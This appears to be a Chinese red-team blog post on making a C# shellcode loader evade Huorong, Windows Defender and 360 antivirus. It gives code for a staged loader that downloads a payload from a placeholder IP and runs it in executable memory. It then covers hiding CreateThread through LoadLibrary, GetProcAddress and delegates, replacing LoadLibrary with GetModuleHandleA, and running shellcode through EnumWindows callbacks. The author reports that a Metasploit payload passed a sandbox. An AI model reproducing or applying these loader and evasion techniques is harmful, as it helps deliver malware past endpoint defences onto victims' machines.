【红队技巧】.Net免杀 绕过主流杀软

【技巧】.Net免杀 绕过主流杀软

前言

最近执行任务时,需要动用自己的免杀知识却发现它们不再生效,于是就有了本文。这次对windows api和C#又有了比在thm​学习时更深的认识和了解。

  • C#动态加载
  • LoadLinrary受限绕过
  • EnumWindows函数执行shellcode

C#动态加载 - 火绒

我在执行任务时,我惊讶的发现,我的TryHackMe 祖传C#代马 steged分阶段加载器,居然被火绒落地秒杀

虽然360、defender不会报毒,但落地被火绒秒杀属实有点对不起thm大学的知识

伪代码:

csharp 复制代码
    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    
    string URI = "http://<ip>:<port>/<fileName>";
    WebClient webClient = new WebClient();
    webClient.DownloadData(URI);

    VirtualAlloc(0, (UInt32)State.Length, 0x1000, 0x40);
    Marshal.Copy(State, 0, (IntPtr)(Open), State.Length);
    
    CreateThread(0, 0, Open, parameter, 0, ref threadId);
    WaitForSingleObject(QQHandle, 0xFFFFFFFF);
    }

我针对代码,自下而上进行单行注释,直到p/invoke的CreateThread函数,当我把这个函数签名这一行给注释掉后,火绒就不杀了,结论就是:火绒碰到p/invoke的CreateThread立马干掉

我尝试了CreateRemoteThread,这并不会导致被杀,也就是说目前可以确定火绒只会针对:

csharp 复制代码
    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

换句话说只要IAT表或导入表里有CreateThread,立马就杀,所以这段代码不管怎么改也绕不过去

解决方案 - 动态加载

我总觉得我学过,但太久没用有点回忆不起来,我翻了翻曾经在thm上学的知识,最终还是找到了它

这是C++版本的动态加载,通过LoadLibrary函数动态加载dll到内存,最后通过GetProcAddress函数获取指定的函数地址,最终实现调用指定dll的指定函数

C#的实现

即便通过C#,想要做到这一点也相当简单,我们只需要通过委托来替代c++中的定义结构

首先我们需要通过p/invoke加载LoadLibrary和GetProcAddress,并且获取CreateThread函数的函数地址

csharp 复制代码
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string _);

[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr __, string _);

...

h_Module = LoadLibrary("kernel32.dll");
fooProc = GetProcAddress(h_Module, "CreateThread");

创建委派,函数签名的参数个数、类型与CreateThread函数参数个数、类型一致

然后通过GetDelegateForFunctionPointer函数将函数指针转换成委托

csharp 复制代码
private delegate IntPtr _ct(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

...

var ct = Marshal.GetDelegateForFunctionPointer<ct>(fooProc);

这样,我们就可以通过委托去执行CreateThread函数了,对完整修改并编译后,火绒最终还是失效了

Windows Denfender - LoadLinrary受限绕过

通过上述方法绕过火绒后,没想到回头被defender给干掉了 ,我通过同样的思路,对代码进行单行注释,结果发现defender的检测点是p/invoke的LoadLibrary函数,于是我去微软文档寻找函数平替。

最后发现GetModuleHandleA函数,它于LoadLibrary函数类似,但GetModuleHandleA不会被defender检测,通过它,我们成功绕过defender、火绒在对于IAT/导入表中某些函数的检测

defender静态、执行不报

火绒、360静态不报

执行也不报

在线检测

基本上到这里也差不多够用,再通过其它thm、前辈的小技巧,混淆、加壳、签名等等,基本应该也够用了

我这里就不作代码以外的事情,直接把上面的完整C#代码编译后,不作任何加壳签名啥的,直接裸上传沙箱看看效果

微步云沙箱

微步云沙箱最终被标记为安全

没有高危行为

被一个Baidu-China检测了,其它全都不报

当然,如果不绕沙箱的话,最终的shellcode应该还是会被捕获并检测,毕竟shellcode是正版msf的payload,但绕沙箱不在本文范围。

EnumWindows执行shellcode - CreateThread平替

此外我通过搜索微软文档,发现了一个函数可以通过callback回调函数,达到执行shellcode的效果

EnumWindows

只要把shellcode的地址丢给它,它便能执行,做到类似于CreateThread+WaitForSingleObject的效果

相关推荐
sbjdhjd10 小时前
CTF 技术复盘:从参数类型绕过到正则回溯 | Merry Christmas PHP CTF(gift.php & gift_plus.php)
安全·网络安全·云计算·php·ctf·红队·网络攻防
Chengbei1119 小时前
DSH渗透测试插件dsh-pentest全新升级!适配DeepSeek Harness,可视化探索链路,一键搭建轻量化AI渗透测试环境。
人工智能·web安全·网络安全·微信·小程序·系统安全·安全架构
宝桥南山20 小时前
Blazor Web Assembly - 体验一下Authentication State从Server共享给Client
microsoft·微软·c#·asp.net·.net·.netcore
Latticy1 天前
vulnhub系列靶机-mrRobot
web安全·网络安全·渗透测试
白猫不黑1 天前
网络安全/信息安全专业学习路线与入行指南:从大学到岗位的完整规划
网络·学习·安全·web安全·网络安全·黑客技术
xierui1231231 天前
AI Agent 隐私架构:本地化重点为什么是登录态与执行权限
java·人工智能·网络安全·架构
Chockmans1 天前
春秋云境CVE-2025-49113
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2025-49113
白猫不黑1 天前
从运维到网络安全:转行优势、路径与薪资前景全解析
运维·网络·web安全·网络安全·信息安全·渗透测试
rockey6271 天前
C#脚本引擎之AScript与DynamicExpresso对比
c#·.net·script·动态脚本
AI备忘录1 天前
(十一)DHCP 配置命令五厂商对照:华为 华三 锐捷 迈普 思科
服务器·网络·网络协议·网络安全·华为